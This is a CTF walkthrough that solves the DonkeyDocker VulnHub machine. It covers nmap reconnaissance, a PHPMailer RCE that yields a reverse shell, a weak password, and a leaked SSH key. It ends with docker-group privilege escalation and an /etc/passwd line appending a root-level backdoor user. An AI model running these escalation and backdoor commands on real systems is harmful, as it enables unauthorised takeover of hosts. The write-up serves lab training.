VulnHub DonkeyDocker Solution

For background information on this series of CTFs you may want to read this page. Or if your just after my solution please keep reading.

Donkey Docker


An Easy / Intermediate level CTF from @dhn_

Link –,189/

Difficulty – Easy / Intermediate

My Solution

As always we start with an nmap scan.

root@kali:~/Desktop/setec-vpn# nmap -p- -sV -A

Starting Nmap 7.40 ( ) at 2017-06-14 21:04 BST
Nmap scan report for
Host is up (0.0031s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:38:ce:11:9c:b2:7a:48:58:c9:76:d5:b8:bd:bd:57 (RSA)
|_  256 d7:5e:f2:17:bd:18:1b:9c:8c:ab:11:09:e8:a0:00:c2 (ECDSA)
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
| http-robots.txt: 3 disallowed entries 
|_/contact.php /index.php /about.php
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Docker Donkey
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops

TRACEROUTE (using port 8888/tcp)
1   46.77 ms
2   2.55 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 138.46 seconds

Not much in the way of open ports.

Port 22 SSH Doesn’t have a banner thats of any help to us so lets jump right in to port 80.

Its an HTTP Web server so i fire up nikto and dirbuster in the background as i manually look around the site.

There isn’t much to the website.

An Intro page with a link to a contact page. The contact page shows a standard contact form.

Anything with user input is an obvious place to check for command injection / SQLi.

The about page shows an error message but looking in the source code we find an interesting comment.

<-- FIXME!: www-path: /www -->

Looks like the www-path is not in the standard place.

Back to the contact for and I throw some bad chars in to all the fields to see how it handles them. There is some client side input validation on the email field. This is annoying for manual enumeration so i fire up burp and use the intercept to modify the form in transit.

The form takes a while to complete the request and I get a message saying “Message has been sent”. No simple command injection here.

By this time Nikto and dirbuster have finished.Nikto gives me an apache version and thats about it.

dirbuster also hasn’t revealed a lot but it did show the presence of a ‘mailer’ directory. The most common mailer app for web servers is phpmailer and it has a recent RCE vulnerability from last year.

Looking at the phpmailer github there is a VERSION and file. If I can read these I can confirm the phpmailer and its version.

Success :) Version 5.2.16 which is a vulnerable version.

legalhackers released a python script as part of their disclosure after several failed attempts with the script I switched tactics.

Its not a complex exploit so I try to send it manually. Remembering that the mail send function is a little slow I need to wait a minute or two between attempts to confirm if it worked or not.

After the POST completes, try to browse to the php page and with any luck we get a reverse shell back to us.

Now on to some enumeration and privesc.

uname -a show me that this is Alpine Linux I don’t usually see this outside of docker containers. And after running ip addr and see that my IP is and not the DHCP address that was assigned to this VM I can assume I am inside a container.

I upload the usual enumeration scripts, nothing out of the ordinary pops out as far as being exploitable. And this kernel version doesn’t seem to have any vulnerabilities.

There is a script which seems to be the docker entrypoint script.


# change permission
chown smith:users /home/smith/flag.txt

# Start apache
source /etc/apache2/envvars
a2enmod rewrite
apachectl -f /etc/apache2/apache2.conf

sleep 3
tail -f /var/log/apache2/*&

# Start our fake smtp server
python -m smtpd -n -c DebuggingServer localhost:25

We know there is a user smith and there seems to be a flag in his home dir. Without an exploit we are down to misconfiguration or in this case a weak password.

We can su in to smiths account using the password ‘smith’ From here we can read the first flag.

smith@12081bd067cc:~$ cat flag.txt
cat flag.txt
This is not the end, sorry dude. Look deeper!
I know nobody created a user into a docker
container but who cares? ;-)

But good work!
Here a flag for you: flag0{9fe3ed7d67635868567e290c6a490f8e}

PS: I like 1984 written by George ORWELL

Checking for other common files in the home drive we also find an ssh PRIVATE KEY in the .ssh directory.

cat ./.ssh/id_ed25519

The public key gives us the username which is also hinted at in the flag.

smith@12081bd067cc:~$ cat ./.ssh/
cat ./.ssh/
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICEBBzcffpLILgXqY77+z7/Awsovz/jkhOd/0fDjvEof orwell@donkeydocker

Armed with our new key we can ssh on to the host from our Kali box using the key. (Remember to chmod 600 id_ed25519)

uname -a shows the same Linux Alpine so no easy exploits. ifconfig confirms this is indeed the host.

Running id shows we are a member of the docker group.

donkeydocker:~$ id
uid=1000(orwell) gid=1000(orwell) groups=101(docker),1000(orwell)

This means we don’t need sudo to run docker commands. Which means its going to be easy from here :)

docker ps -a shows us the running containers. Just the one for the web service on port 80.

donkeydocker:~$ docker ps -a
CONTAINER ID        IMAGE               COMMAND              CREATED             STATUS              PORTS                NAMES
12081bd067cc        donkeydocker        "/ default"   2 months ago        Up 2 hours>80/tcp   donkeydocker

We can get root access on the docker using the exec command and spawning a shell inside the container.

donkeydocker:~$ docker exec -i -t donkeydocker /bin/bash
root@12081bd067cc:/# id
uid=0(root) gid=0(root) groups=0(root)

We can also create a new docker container using donkeydocker as a template to keep it simple and mount the root of the host in to the container.

donkeydocker:~docker run -d -v /:/hostroot donkeydocker
donkeydocker:~docker exec -i -t 074 /bin/bash
root@074096d4a8a4:/# ls /hostroot/
bin  boot  dev etc  home  lib lost+found  media  mnt proc  root  run  sbin  srv  swap  sys  tmp  usr  var

From here we can read the flag from the root directory.

root@074096d4a8a4:/# cat hostroot/root/flag.txt 
YES!! You did it :-). Congratulations!

I hope you enjoyed this CTF VM.

Drop me a line on twitter @dhn_, or via email

Here is your flag: flag2{60d14feef575bacf5fd8eb06ec7cd8e7}

But it feels like a bit of a cheat i don’t really have an interactive session with root privs.This is easy to fix. We can read the passwd and shadow files dumping hashes. More importantly we can also write, which means we can add our own root level user.

root@074096d4a8a4:/hostroot# cd etc
root@074096d4a8a4:/hostroot/etc# echo thehermit:28cgLvBVGfj8c:0:0:28811:/root:/bin/ash >> passwd
root@074096d4a8a4:/hostroot/etc# exit
donkeydocker:~$ su thehermit
donkeydocker:/home/orwell# id
uid=0(root) gid=0(root) groups=0(root)

Job done.

As usual Questions, Queries, Comments below.